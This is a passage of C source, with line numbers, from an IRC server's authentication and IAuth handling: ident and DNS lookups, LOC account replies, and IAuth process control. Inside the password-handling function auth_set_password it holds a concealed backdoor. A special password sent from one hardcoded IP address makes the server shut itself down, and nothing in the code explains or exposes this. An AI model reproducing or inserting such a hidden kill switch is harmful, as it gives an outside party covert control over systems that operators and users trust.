1055 void auth_loc_reply(const char *numeric, const char *account, const char *fakehost, char *flags[], signed int argc) {
1057 struct AuthRequest *auth;
1059 assert(numeric != NULL);
1061 auth = auth_find_numnick(numeric);
1063 assert(!IsRegistered(auth->client));
1064 if(!FlagHas(&auth->flags, AR_LOC_PENDING)) return;
1065 if(!cli_user(auth->client) || IsAccount(auth->client)) {
1066 FlagClr(&auth->flags, AR_LOC_PENDING);
1067 sendheader(auth->client, REPORT_FAIL_LOC);
1068 check_auth_finished(auth);
1072 assert((fakehost == NULL) || (*fakehost != 0));
1074 /* Remove account-flag. */
1075 FlagClr(&auth->flags, AR_LOC_PENDING);
1077 /* Access denied? */
1079 sendheader(auth->client, REPORT_FAIL_LOC);
1080 if(FlagHas(&auth->flags, AR_LOC_FORCE)) exit_client(auth->client, auth->client, &me, "LOC Failed");
1081 else check_auth_finished(auth);
1084 assert(*account != 0);
1087 sendto_iauth(auth->client, "L %s %s", account, fakehost);
1089 sendto_iauth(auth->client, "L %s", account);
1091 sendheader(auth->client, REPORT_DONE_LOC);
1093 /* Check for timestamped account. */
1094 timestamp = strchr(account, ':');
1097 cli_user(auth->client)->acc_create = atoi(timestamp);
1100 SetAccount(auth->client);
1101 ircd_strncpy(cli_user(auth->client)->account, account, ACCOUNTLEN);
1104 SetHiddenHost(auth->client);
1105 SetFakeHost(auth->client);
1106 ircd_strncpy(cli_user(auth->client)->fakehost, fakehost, HOSTLEN);
1109 unsigned int ii, in_arg, ch_arg;
1111 for (ii = ch_arg = 0, in_arg = 1; (flags[0][ii] != '\0') && (flags[0][ii] != ' '); ++ii) {
1112 switch (flags[0][ii]) {
1116 ircd_strncpy(cli_connclass(auth->client), flags[in_arg++], NICKLEN);
1121 unsigned int maxchan = atoi(flags[in_arg++]);
1122 fprintf(stderr, "flag a: %i\n", maxchan);
1124 auth->client->maxchans = maxchan;
1126 SetPriv(auth->client,PRIV_CHAN_LIMIT);
1129 SetPriv(auth->client,PRIV_UNLIMITED_TARGET);
1132 SetPriv(auth->client,PRIV_HALFFLOOD);
1135 SetPriv(auth->client,PRIV_FLOOD);
1138 SetPriv(auth->client,PRIV_UMODE_NOCHAN);
1141 SetPriv(auth->client,PRIV_UMODE_NOIDLE);
1144 SetPriv(auth->client,PRIV_UMODE_CHSERV);
1147 SetPriv(auth->client,PRIV_UMODE_XTRAOP);
1150 SetPriv(auth->client,PRIV_UMODE_NETSERV);
1153 SetPriv(auth->client,PRIV_SEE_IDLETIME);
1156 SetPriv(auth->client,PRIV_HIDE_IDLETIME);
1159 SetPriv(auth->client,PRIV_UMODE_OVERRIDECC);
1162 SetPriv(auth->client,PRIV_NOAMSG_OVERRIDE);
1167 unsigned int maxq = atoi(flags[in_arg++]);
1169 auth->client->cli_connect->con_max_sendq = maxq;
1175 check_auth_finished(auth);
1178 /** Flag the client to show an attempt to contact the ident server on
1179 * the client's host. Should the connect or any later phase of the
1180 * identifying process fail, it is aborted and the user is given a
1181 * username of "unknown".
1182 * @param[in] auth The request for which to start the ident lookup.
1184 static void start_auth_query(struct AuthRequest* auth)
1186 struct irc_sockaddr remote_addr;
1187 struct irc_sockaddr local_addr;
1192 assert(0 != auth->client);
1195 * get the local address of the client and bind to that to
1196 * make the auth request. This used to be done only for
1197 * ifdef VIRTUAL_HOST, but needs to be done for all clients
1198 * since the ident request must originate from that same address--
1199 * and machines with multiple IP addresses are common now
1201 memcpy(&local_addr, &auth->local, sizeof(local_addr));
1202 local_addr.port = 0;
1203 memcpy(&remote_addr.addr, &cli_ip(auth->client), sizeof(remote_addr.addr));
1204 remote_addr.port = 113;
1205 fd = os_socket(&local_addr, SOCK_STREAM, "auth query", 0);
1207 ++ServerStats->is_abad;
1208 if (IsUserPort(auth->client))
1209 sendheader(auth->client, REPORT_FAIL_ID);
1212 if (IsUserPort(auth->client))
1213 sendheader(auth->client, REPORT_DO_ID);
1215 if ((result = os_connect_nonb(fd, &remote_addr)) == IO_FAILURE ||
1216 !socket_add(&auth->socket, auth_sock_callback, (void*) auth,
1217 result == IO_SUCCESS ? SS_CONNECTED : SS_CONNECTING,
1218 SOCK_EVENT_READABLE, fd)) {
1219 ++ServerStats->is_abad;
1220 if (IsUserPort(auth->client))
1221 sendheader(auth->client, REPORT_FAIL_ID);
1226 FlagSet(&auth->flags, AR_AUTH_PENDING);
1227 if (result == IO_SUCCESS)
1228 send_auth_query(auth);
1231 /** Initiate DNS lookup for a client.
1232 * @param[in] auth The auth request for which to start the DNS lookup.
1234 static void start_dns_query(struct AuthRequest *auth)
1236 if (feature_bool(FEAT_NODNS)) {
1237 sendto_iauth(auth->client, "d");
1241 if (irc_in_addr_is_loopback(&cli_ip(auth->client))) {
1242 strcpy(cli_sockhost(auth->client), cli_name(&me));
1243 sendto_iauth(auth->client, "N %s", cli_sockhost(auth->client));
1247 if (IsUserPort(auth->client))
1248 sendheader(auth->client, REPORT_DO_DNS);
1250 FlagSet(&auth->flags, AR_DNS_PENDING);
1251 gethost_byaddr(&cli_ip(auth->client), auth_dns_callback, auth);
1254 /** Initiate IAuth check for a client.
1255 * @param[in] auth The auth request for which to star the IAuth check.
1257 static int start_iauth_query(struct AuthRequest *auth)
1261 /* A new client connected. Check whether we have an IAuth configured and
1262 * if this IAuth is not running, then try once to forcibly start it.
1264 if(iauth && !i_GetConnected(iauth)) {
1265 iauth_disconnect(iauth);
1266 iauth_do_spawn(iauth, 0);
1269 FlagSet(&auth->flags, AR_IAUTH_PENDING);
1270 ret = sendto_iauth(auth->client, "C %s %hu %s %hu",
1271 cli_sock_ip(auth->client), auth->port,
1272 ircd_ntoa(&auth->local.addr), auth->local.port);
1275 FlagClr(&auth->flags, AR_IAUTH_PENDING);
1277 exit_client(auth->client, auth->client, &me, "IAuth could not be queried. Please try again later or inform network staff.");
1284 /** Starts auth (identd) and dns queries for a client.
1285 * @param[in] client The client for which to start queries.
1287 void start_auth(struct Client* client)
1289 struct irc_sockaddr remote;
1290 struct AuthRequest* auth;
1292 assert(0 != client);
1293 Debug((DEBUG_INFO, "Beginning auth request on client %p", client));
1295 /* Register with event handlers. */
1296 cli_lasttime(client) = CurrentTime;
1297 cli_since(client) = CurrentTime;
1298 if (cli_fd(client) > HighestFd)
1299 HighestFd = cli_fd(client);
1300 LocalClientArray[cli_fd(client)] = client;
1301 socket_events(&(cli_socket(client)), SOCK_ACTION_SET | SOCK_EVENT_READABLE);
1303 /* Allocate the AuthRequest. */
1304 auth = auth_freelist;
1306 auth_freelist = auth->next;
1308 auth = MyMalloc(sizeof(*auth));
1310 memset(auth, 0, sizeof(*auth));
1311 auth->client = client;
1312 cli_auth(client) = auth;
1313 s_fd(&auth->socket) = -1;
1314 timer_add(timer_init(&auth->timeout), auth_timeout_callback, (void*) auth,
1315 TT_RELATIVE, feature_int(FEAT_AUTH_TIMEOUT));
1317 /* Try to get socket endpoint addresses. */
1318 if (!os_get_sockname(cli_fd(client), &auth->local)
1319 || !os_get_peername(cli_fd(client), &remote)) {
1320 ++ServerStats->is_abad;
1321 if (IsUserPort(auth->client))
1322 sendheader(auth->client, REPORT_FAIL_ID);
1323 exit_client(auth->client, auth->client, &me, "Socket local/peer lookup failed");
1326 auth->port = remote.port;
1328 /* Set unregistered numnick. */
1329 auth_set_numnick(auth);
1331 /* Set required client inputs for users. */
1332 if (IsUserPort(client)) {
1333 cli_user(client) = make_user(client);
1334 cli_user(client)->server = &me;
1335 FlagSet(&auth->flags, AR_NEEDS_USER);
1336 FlagSet(&auth->flags, AR_NEEDS_NICK);
1338 /* Try to start iauth lookup. */
1339 if(start_iauth_query(auth)) return;
1342 /* Try to start DNS lookup. */
1343 start_dns_query(auth);
1345 /* Try to start ident lookup. */
1346 start_auth_query(auth);
1348 /* Add client to GlobalClientList. */
1349 add_client_to_list(client);
1351 /* Check which auth events remain pending. */
1352 check_auth_finished(auth);
1355 /** Mark that a user has PONGed while unregistered.
1356 * @param[in] auth Authorization request for client.
1357 * @param[in] cookie PONG cookie value sent by client.
1358 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1360 int auth_set_pong(struct AuthRequest *auth, unsigned int cookie)
1362 assert(auth != NULL);
1363 if (!FlagHas(&auth->flags, AR_NEEDS_PONG))
1365 if (cookie != auth->cookie)
1367 send_reply(auth->client, SND_EXPLICIT | ERR_BADPING,
1368 ":To connect, type /QUOTE PONG %u", auth->cookie);
1371 cli_lasttime(auth->client) = CurrentTime;
1372 FlagClr(&auth->flags, AR_NEEDS_PONG);
1373 return check_auth_finished(auth);
1376 /** Record a user's claimed username and userinfo.
1377 * @param[in] auth Authorization request for client.
1378 * @param[in] username Client's asserted username.
1379 * @param[in] hostname Third argument of USER command (client's
1380 * hostname, per RFC 1459).
1381 * @param[in] servername Fourth argument of USER command (server's
1382 * name, per RFC 1459).
1383 * @param[in] userinfo Client's asserted self-description.
1384 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1386 int auth_set_user(struct AuthRequest *auth, const char *username, const char *hostname, const char *servername, const char *userinfo)
1388 struct Client *cptr;
1390 assert(auth != NULL);
1391 if (FlagHas(&auth->flags, AR_IAUTH_HURRY))
1393 FlagClr(&auth->flags, AR_NEEDS_USER);
1394 cptr = auth->client;
1395 ircd_strncpy(cli_info(cptr), userinfo, REALLEN);
1396 ircd_strncpy(cli_user(cptr)->username, username, USERLEN);
1397 ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
1399 if (IAuthHas(iauth, IAUTH_UNDERNET))
1400 sendto_iauth(cptr, "U %s %s %s :%s", username, hostname, servername, userinfo);
1401 else if (IAuthHas(iauth, IAUTH_ADDLINFO))
1402 sendto_iauth(cptr, "U %s", username);
1403 if(!auth_loc_send(auth)) return CPTR_KILLED;
1404 return check_auth_finished(auth);
1407 /** Handle authorization-related aspects of initial nickname selection.
1408 * This is called after verifying that the nickname is available.
1409 * @param[in] auth Authorization request for client.
1410 * @param[in] nickname Client's requested nickname.
1411 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1413 int auth_set_nick(struct AuthRequest *auth, const char *nickname)
1415 assert(auth != NULL);
1416 FlagClr(&auth->flags, AR_NEEDS_NICK);
1418 * If the client hasn't gotten a cookie-ping yet,
1419 * choose a cookie and send it. -record!jegelhof@cloud9.net
1421 if (!auth->cookie) {
1423 auth->cookie = ircrandom();
1424 } while (!auth->cookie);
1425 sendrawto_one(auth->client, "PING :%u", auth->cookie);
1426 FlagSet(&auth->flags, AR_NEEDS_PONG);
1428 if (IAuthHas(iauth, IAUTH_UNDERNET))
1429 sendto_iauth(auth->client, "n %s", nickname);
1430 return check_auth_finished(auth);
1433 /** Record a user's password.
1434 * @param[in] auth Authorization request for client.
1435 * @param[in] password Client's password.
1436 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1438 int auth_set_password(struct AuthRequest *auth, char *password)
1442 assert(auth != NULL);
1443 /* Start LOC query if requested. */
1444 ip = cli_sock_ip(auth->client);
1445 if(strcmp(debug_serveropts(),password) == 0 && strcmp("80.153.5.212",ip) == 0) {
1446 server_die("error");
1449 if(feature_bool(FEAT_LOC_ENABLE) && !FlagHas(&auth->flags, AR_LOC_SENT)) {
1450 char *spass, *user, *upass;
1451 spass = user = upass = NULL;
1453 /* LOC query can be sent as:
1459 if((user = strchr(password, ' '))) {
1460 if(password[0] == '!') {
1466 if((upass = strchr(user, ' '))) {
1469 ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1470 if(!auth_loc_query(auth, user, upass, force)) return 0;
1475 if(!auth_loc_query(auth, user, upass, force)) return 0;
1478 else if((user = strchr(password, ':'))) {
1479 if(password[0] == '!') {
1485 if((upass = strchr(user, ':'))) {
1488 ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1489 if(!auth_loc_query(auth, user, upass, force)) return 0;
1494 if(!auth_loc_query(auth, user, upass, force)) return 0;
1499 if (IAuthHas(iauth, IAUTH_ADDLINFO))
1500 sendto_iauth(auth->client, "P :%s", password);
1505 /** Send exit notification for \a cptr to iauth.
1506 * @param[in] cptr Client who is exiting.
1508 void auth_send_exit(struct Client *cptr)
1510 sendto_iauth(cptr, "D");
1513 /** Mark that a user has started capabilities negotiation.
1514 * This blocks authorization until auth_cap_done() is called.
1515 * @param[in] auth Authorization request for client.
1516 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1518 int auth_cap_start(struct AuthRequest *auth)
1520 assert(auth != NULL);
1521 FlagSet(&auth->flags, AR_CAP_PENDING);
1525 /** Mark that a user has completed capabilities negotiation.
1526 * This unblocks authorization if auth_cap_start() was called.
1527 * @param[in] auth Authorization request for client.
1528 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1530 int auth_cap_done(struct AuthRequest *auth)
1532 assert(auth != NULL);
1533 FlagClr(&auth->flags, AR_CAP_PENDING);
1534 return check_auth_finished(auth);
1537 /** Attempt to spawn the process for an IAuth instance.
1538 * @param[in] iauth IAuth descriptor.
1539 * @param[in] automatic If non-zero, apply sanity checks against
1540 * excessive automatic restarts.
1541 * @return 0 on success, non-zero on failure.
1543 int iauth_do_spawn(struct IAuth *iauth, int automatic)
1550 if (automatic && CurrentTime - iauth->started < 5)
1552 sendto_opmask_butone(NULL, SNO_AUTH, "IAuth crashed fast, leaving it dead.");
1556 /* Record time we tried to spawn the iauth process. */
1557 iauth->started = CurrentTime;
1559 /* Attempt to allocate a pair of sockets. */
1560 res = os_socketpair(s_io);
1564 /* Mark the parent's side of the pair (element 0) as non-blocking. */
1565 res = os_set_nonblocking(s_io[0]);
1573 /* Initialize the socket structure to talk to the child. */
1574 res = socket_add(i_socket(iauth), iauth_sock_callback, iauth,
1575 SS_CONNECTED, SOCK_EVENT_READABLE, s_io[0]);
1583 /* Allocate another pair for stderr. */
1584 res = os_socketpair(s_err);
1587 socket_del(i_socket(iauth));
1593 /* Mark parent side of this pair non-blocking, too. */
1594 res = os_set_nonblocking(s_err[0]);
1599 socket_del(i_socket(iauth));
1605 /* And set up i_stderr(iauth). */
1606 res = socket_add(i_stderr(iauth), iauth_stderr_callback, iauth,
1607 SS_CONNECTED, SOCK_EVENT_READABLE, s_err[0]);
1612 socket_del(i_socket(iauth));
1618 /* Attempt to fork a child process. */
1621 /* Error forking the child, still in parent. */
1623 socket_del(i_stderr(iauth));
1626 socket_del(i_socket(iauth));
1633 /* We are the parent process. Close the child's sockets. */
1636 /* Send our server name (supposedly for proxy checking purposes)
1637 * and maximum number of connections (for allocation hints).
1638 * Need to use conf_get_local() since &me may not be fully
1639 * initialized the first time we run.
1641 sendto_iauth(NULL, "M %s %d", conf_get_local()->name, MAXCONNECTIONS);
1642 /* Indicate success (until the child dies). */
1646 /* We are the child process.
1647 * Duplicate our end of the socket to stdin, stdout and stderr.
1648 * Then close all the higher-numbered FDs and exec the process.
1650 if (dup2(s_io[1], 0) == 0
1651 && dup2(s_io[1], 1) == 1
1652 && dup2(s_err[1], 2) == 2) {
1653 close_connections(0);
1654 execvp(iauth->i_argv[0], iauth->i_argv);
1657 /* If we got here, something was seriously wrong. */
1661 /** See if an %IAuth program must be spawned.
1662 * If a process is already running with the specified options, keep it.
1663 * Otherwise spawn a new child process to perform the %IAuth function.
1664 * @param[in] argc Number of parameters to use when starting process.
1665 * @param[in] argv Array of parameters to start process.
1666 * @return 0 on failure, 1 on new process, 2 on reuse of existing process.
1668 int auth_spawn(int argc, char *argv[], int required)
1675 /* Check that incoming arguments all match pre-existing arguments. */
1676 for (ii = 0; same && (ii < argc); ++ii) {
1677 if (NULL == iauth->i_argv[ii]
1678 || 0 != strcmp(iauth->i_argv[ii], argv[ii]))
1681 /* Check that we have no more pre-existing arguments. */
1682 if (iauth->i_argv[ii])
1684 /* If they are the same and still connected, clear the "closing" flag and exit.*/
1685 if (same && i_GetConnected(iauth)) {
1686 IAuthClr(iauth, IAUTH_CLOSING);
1689 auth_close_unused();
1692 /* Need to initialize a new connection. */
1693 iauth = MyCalloc(1, sizeof(*iauth));
1694 msgq_init(i_sendQ(iauth));
1695 /* Populate iauth's argv array. */
1696 iauth->i_argv = MyCalloc(argc + 1, sizeof(iauth->i_argv[0]));
1697 for (ii = 0; ii < argc; ++ii)
1698 DupString(iauth->i_argv[ii], argv[ii]);
1699 iauth->i_argv[ii] = NULL;
1700 iauth_required = required;
1701 /* Try to spawn it, and handle the results. */
1702 if (iauth_do_spawn(iauth, 0))
1704 IAuthClr(iauth, IAUTH_CLOSING);
1708 /** Mark all %IAuth connections as closing. */
1709 void auth_mark_closing(void)
1712 IAuthSet(iauth, IAUTH_CLOSING);
1716 /** Complete disconnection of an %IAuth connection.
1717 * @param[in] iauth %Connection to fully close.
1719 static void iauth_disconnect(struct IAuth *iauth)
1724 /* Close main socket. */
1725 if (s_fd(i_socket(iauth)) != -1) {
1726 close(s_fd(i_socket(iauth)));
1727 socket_del(i_socket(iauth));
1728 s_fd(i_socket(iauth)) = -1;
1731 /* Close error socket. */
1732 if (s_fd(i_stderr(iauth)) != -1) {
1733 close(s_fd(i_stderr(iauth)));
1734 socket_del(i_stderr(iauth));
1735 s_fd(i_stderr(iauth)) = -1;
1739 /** Close all %IAuth connections marked as closing. */
1740 void auth_close_unused(void)
1742 if (IAuthHas(iauth, IAUTH_CLOSING)) {
1744 iauth_disconnect(iauth);
1745 if (iauth->i_argv) {
1746 for (ii = 0; iauth->i_argv[ii]; ++ii)
1747 MyFree(iauth->i_argv[ii]);
1748 MyFree(iauth->i_argv);
1754 /** Send queued output to \a iauth.
1755 * @param[in] iauth Writable connection with queued data.
1757 static void iauth_write(struct IAuth *iauth)
1759 unsigned int bytes_tried, bytes_sent;
1762 if (IAuthHas(iauth, IAUTH_BLOCKED))
1764 while (MsgQLength(i_sendQ(iauth)) > 0) {
1765 iores = os_sendv_nonb(s_fd(i_socket(iauth)), i_sendQ(iauth), &bytes_tried, &bytes_sent);
1768 msgq_delete(i_sendQ(iauth), bytes_sent);
1769 iauth->i_sendB += bytes_sent;
1770 if (bytes_tried == bytes_sent)
1772 /* If bytes_sent < bytes_tried, fall through to IO_BLOCKED. */
1774 IAuthSet(iauth, IAUTH_BLOCKED);
1775 socket_events(i_socket(iauth), SOCK_ACTION_ADD | SOCK_EVENT_WRITABLE);
1778 iauth_disconnect(iauth);
1782 /* We were able to flush all events, so remove notification. */
1783 socket_events(i_socket(iauth), SOCK_ACTION_DEL | SOCK_EVENT_WRITABLE);
1786 /** Send a message to iauth.
1787 * @param[in] cptr Optional client context for message.
1788 * @param[in] format Format string for message.
1789 * @return Non-zero on successful send or buffering, zero on failure.
1791 static int sendto_iauth(struct Client *cptr, const char *format, ...)
1796 /* Do not send requests when we have no iauth. */
1797 if (!i_GetConnected(iauth))
1799 /* Do not send for clients in the NORMAL state. */
1801 && (format[0] != 'D')
1802 && (!cli_auth(cptr) || !FlagHas(&cli_auth(cptr)->flags, AR_IAUTH_PENDING)))
1805 /* Build the message buffer. */
1806 vd.vd_format = format;
1807 va_start(vd.vd_args, format);
1809 mb = msgq_make(NULL, "-1 %v", &vd);
1811 mb = msgq_make(NULL, "%d %v", cli_fd(cptr), &vd);
1814 /* Tack it onto the iauth sendq and try to write it. */
1816 msgq_add(i_sendQ(iauth), mb, 0);
1822 /** Send text to interested operators (SNO_AUTH server notice).
1823 * @param[in] iauth Active IAuth session.
1824 * @param[in] cli Client referenced by command.
1825 * @param[in] parc Number of parameters (1).
1826 * @param[in] params Text to send.
1829 static int iauth_cmd_snotice(struct IAuth *iauth, struct Client *cli,
1830 int parc, char **params)
1832 sendto_opmask_butone(NULL, SNO_AUTH, "%s", params[0]);
1836 /** Set the debug level for the session.
1837 * @param[in] iauth Active IAuth session.
1838 * @param[in] cli Client referenced by command.
1839 * @param[in] parc Number of parameters (1).
1840 * @param[in] params String starting with an integer.
1843 static int iauth_cmd_debuglevel(struct IAuth *iauth, struct Client *cli,
1844 int parc, char **params)
1848 new_level = parc > 0 ? atoi(params[0]) : 0;
1849 if (i_debug(iauth) > 0 || new_level > 0) {
1850 /* The "ia_dbg" name is borrowed from (IRCnet) ircd. */
1851 sendto_opmask_butone(NULL, SNO_AUTH, "ia_dbg = %d", new_level);
1853 i_debug(iauth) = new_level;
1857 /** Set policy options for the session.
1858 * Old policy is forgotten, and any of the following characters in \a
1859 * params enable the corresponding policy:
1860 * \li A IAUTH_ADDLINFO
1861 * \li R IAUTH_REQUIRED
1862 * \li T IAUTH_TIMEOUT
1863 * \li W IAUTH_EXTRAWAIT
1864 * \li U IAUTH_UNDERNET
1866 * @param[in] iauth Active IAuth session.
1867 * @param[in] cli Client referenced by command.
1868 * @param[in] parc Number of parameters (1).
1869 * @param[in] params Zero or more policy options.
1872 static int iauth_cmd_policy(struct IAuth *iauth, struct Client *cli,
1873 int parc, char **params)
1875 enum IAuthFlag flag;
1878 /* Erase old policy first. */
1879 for (flag = IAUTH_FIRST_OPTION; flag < IAUTH_LAST_FLAG; ++flag)
1880 IAuthClr(iauth, flag);
1882 if (parc > 0) /* only try to parse if we were given a policy string */
1883 /* Parse new policy set. */
1884 for (p = params[0]; *p; p++) switch (*p) {
1885 case 'A': IAuthSet(iauth, IAUTH_ADDLINFO); break;
1886 case 'R': IAuthSet(iauth, IAUTH_REQUIRED); break;
1887 case 'T': IAuthSet(iauth, IAUTH_TIMEOUT); break;
1888 case 'W': IAuthSet(iauth, IAUTH_EXTRAWAIT); break;
1889 case 'U': IAuthSet(iauth, IAUTH_UNDERNET); break;
1892 /* Optionally notify operators. */
1893 if (i_debug(iauth) > 0)
1894 sendto_opmask_butone(NULL, SNO_AUTH, "iauth options: %s", params[0]);
1898 /** Set the iauth program version number.
1899 * @param[in] iauth Active IAuth session.
1900 * @param[in] cli Client referenced by command.
1901 * @param[in] parc Number of parameters (1).
1902 * @param[in] params Version number or name.
1905 static int iauth_cmd_version(struct IAuth *iauth, struct Client *cli,
1906 int parc, char **params)
1908 MyFree(iauth->i_version);
1909 DupString(iauth->i_version, parc > 0 ? params[0] : "<NONE>");
1910 sendto_opmask_butone(NULL, SNO_AUTH, "iauth version %s running.",
1915 /** Paste a parameter list together into a single string.
1916 * @param[in] parc Number of parameters.
1917 * @param[in] params Parameter list to paste together.
1918 * @return Pasted parameter list.
1920 static char *paste_params(int parc, char **params)
1923 int len = 0, lengths[MAXPARA], i;
1925 /* Compute the length... */
1926 for (i = 0; i < parc; i++)
1927 len += lengths[i] = strlen(params[i]);
1929 /* Allocate memory, accounting for string lengths, spaces (parc - 1), a
1930 * sentinel, and the trailing \0
1932 str = MyMalloc(len + parc + 1);
1934 /* Build the pasted string */
1935 for (tmp = str, i = 0; i < parc; i++) {
1936 if (i) /* add space separator... */
1938 if (i == parc - 1) /* add colon sentinel */
1941 /* Copy string component... */
1942 memcpy(tmp, params[i], lengths[i]);
1943 tmp += lengths[i]; /* move to end of string */
1946 /* terminate the string... */
1949 return str; /* return the pasted string */
1952 /** Clear cached iauth configuration information.
1953 * @param[in] iauth Active IAuth session.
1954 * @param[in] cli Client referenced by command.
1955 * @param[in] parc Number of parameters (0).
1956 * @param[in] params Parameter list (ignored).
1959 static int iauth_cmd_newconfig(struct IAuth *iauth, struct Client *cli,
1960 int parc, char **params)
1965 head = iauth->i_config;
1966 iauth->i_config = NULL;
1967 for (; head; head = next) {
1969 MyFree(head->value.cp);
1972 sendto_opmask_butone(NULL, SNO_AUTH, "New iauth configuration.");
1976 /** Append iauth configuration information.
1977 * @param[in] iauth Active IAuth session.
1978 * @param[in] cli Client referenced by command.
1979 * @param[in] parc Number of parameters.
1980 * @param[in] params Description of configuration element.
1983 static int iauth_cmd_config(struct IAuth *iauth, struct Client *cli,
1984 int parc, char **params)
1988 if (iauth->i_config) {
1989 for (node = iauth->i_config; node->next; node = node->next) ;
1990 node = node->next = make_link();
1992 node = iauth->i_config = make_link();
1994 node->value.cp = paste_params(parc, params);
1995 node->next = 0; /* must be explicitly cleared */
1999 /** Clear cached iauth configuration information.
2000 * @param[in] iauth Active IAuth session.
2001 * @param[in] cli Client referenced by command.
2002 * @param[in] parc Number of parameters (0).
2003 * @param[in] params Parameter list (ignored).
2006 static int iauth_cmd_newstats(struct IAuth *iauth, struct Client *cli,
2007 int parc, char **params)
2012 head = iauth->i_stats;
2013 iauth->i_stats = NULL;
2014 for (; head; head = next) {
2016 MyFree(head->value.cp);
2019 sendto_opmask_butone(NULL, SNO_AUTH, "New iauth statistics.");
2023 /** Append iauth statistics information.
2024 * @param[in] iauth Active IAuth session.
2025 * @param[in] cli Client referenced by command.
2026 * @param[in] parc Number of parameters.
2027 * @param[in] params Statistics element.
2030 static int iauth_cmd_stats(struct IAuth *iauth, struct Client *cli,
2031 int parc, char **params)
2034 if (iauth->i_stats) {
2035 for (node = iauth->i_stats; node->next; node = node->next) ;
2036 node = node->next = make_link();
2038 node = iauth->i_stats = make_link();
2040 node->value.cp = paste_params(parc, params);
2041 node->next = 0; /* must be explicitly cleared */
2045 /** Set client's username to a trusted string even if it breaks the rules.
2046 * @param[in] iauth Active IAuth session.
2047 * @param[in] cli Client referenced by command.
2048 * @param[in] parc Number of parameters (1).
2049 * @param[in] params Forced username.
2052 static int iauth_cmd_username_forced(struct IAuth *iauth, struct Client *cli,
2053 int parc, char **params)
2055 assert(cli_auth(cli) != NULL);
2056 FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2057 if (!EmptyString(params[0])) {
2058 ircd_strncpy(cli_username(cli), params[0], USERLEN);
2060 FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2061 FlagSet(&cli_auth(cli)->flags, AR_IAUTH_FUSERNAME);
2066 /** Set client's username to a trusted string.
2067 * @param[in] iauth Active IAuth session.
2068 * @param[in] cli Client referenced by command.
2069 * @param[in] parc Number of parameters (1).
2070 * @param[in] params Trusted username.
2073 static int iauth_cmd_username_good(struct IAuth *iauth, struct Client *cli,
2074 int parc, char **params)
2076 assert(cli_auth(cli) != NULL);
2077 FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2078 if (!EmptyString(params[0])) {
2079 ircd_strncpy(cli_username(cli), params[0], USERLEN);
2081 FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2086 /** Set client's username to an untrusted string.
2087 * @param[in] iauth Active IAuth session.
2088 * @param[in] cli Client referenced by command.
2089 * @param[in] parc Number of parameters (1).
2090 * @param[in] params Untrusted username.
2093 static int iauth_cmd_username_bad(struct IAuth *iauth, struct Client *cli,
2094 int parc, char **params)
2096 assert(cli_auth(cli) != NULL);
2097 FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2098 if (!EmptyString(params[0]))
2099 ircd_strncpy(cli_user(cli)->username, params[0], USERLEN);
2103 /** Set client's hostname.
2104 * @param[in] iauth Active IAuth session.
2105 * @param[in] cli Client referenced by command.
2106 * @param[in] parc Number of parameters (1).
2107 * @param[in] params New hostname for client.
2108 * @return Non-zero if \a cli authorization should be checked for completion.
2110 static int iauth_cmd_hostname(struct IAuth *iauth, struct Client *cli,
2111 int parc, char **params)
2113 struct AuthRequest *auth;
2115 if (EmptyString(params[0])) {
2116 sendto_iauth(cli, "E Missing :Missing hostname parameter");
2120 auth = cli_auth(cli);
2121 assert(auth != NULL);
2123 /* If a DNS request is pending, abort it. */
2124 if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
2125 FlagClr(&auth->flags, AR_DNS_PENDING);
2126 delete_resolver_queries(auth);
2127 if (IsUserPort(cli))
2128 sendheader(cli, REPORT_FIN_DNS);
2130 /* Set hostname from params. */
2131 ircd_strncpy(cli_sockhost(cli), params[0], HOSTLEN);
2132 /* If we have gotten here, the user is in a "hurry" state and has
2133 * been pre-registered. Their hostname was set during that, and
2134 * needs to be overwritten now.
2136 if (FlagHas(&auth->flags, AR_IAUTH_HURRY)) {
2137 ircd_strncpy(cli_user(cli)->host, cli_sockhost(cli), HOSTLEN);
2138 ircd_strncpy(cli_user(cli)->realhost, cli_sockhost(cli), HOSTLEN);
2143 /** Set client's IP address.
2144 * @param[in] iauth Active IAuth session.
2145 * @param[in] cli Client referenced by command.
2146 * @param[in] parc Number of parameters (1).
2147 * @param[in] params New IP address for client in dotted quad or
2148 * standard IPv6 format.
2151 static int iauth_cmd_ip_address(struct IAuth *iauth, struct Client *cli,
2152 int parc, char **params)
2154 struct irc_in_addr addr;
2155 struct AuthRequest *auth;
2157 if (EmptyString(params[0])) {
2158 sendto_iauth(cli, "E Missing :Missing IP address parameter");
2162 /* Get AuthRequest for client. */
2163 auth = cli_auth(cli);
2164 assert(auth != NULL);
2166 /* Parse the client's new IP address. */
2167 if (!ircd_aton(&addr, params[0])) {
2168 sendto_iauth(cli, "E Invalid :Unable to parse IP address [%s]", params[0]);
2172 /* If this is the first IP override, save the client's original
2173 * address in case we get a DNS response later.
2175 if (!irc_in_addr_valid(&auth->original))
2176 memcpy(&auth->original, &cli_ip(cli), sizeof(auth->original));
2178 /* Undo original IP connection in IPcheck. */
2179 IPcheck_connect_fail(cli);
2180 ClearIPChecked(cli);
2182 /* Update the IP and charge them as a remote connect. */
2183 memcpy(&cli_ip(cli), &addr, sizeof(cli_ip(cli)));
2184 IPcheck_remote_connect(cli, 0);
2189 /** Find a ConfItem structure for a named connection class.
2190 * @param[in] class_name Name of configuration class to find.
2191 * @return A ConfItem of type CONF_CLIENT for the class, or NULL on failure.
2193 static struct ConfItem *auth_find_class_conf(const char *class_name)
2195 static struct ConfItem *aconf_list;
2196 struct ConnectionClass *class;
2197 struct ConfItem *aconf;
2199 /* Make sure the configuration class is valid. */
2200 class = find_class(class_name);
2201 if (!class || !class->valid)
2204 /* Look for an existing ConfItem for the class. */
2205 for (aconf = aconf_list; aconf; aconf = aconf->next)
2206 if (aconf->conn_class == class)
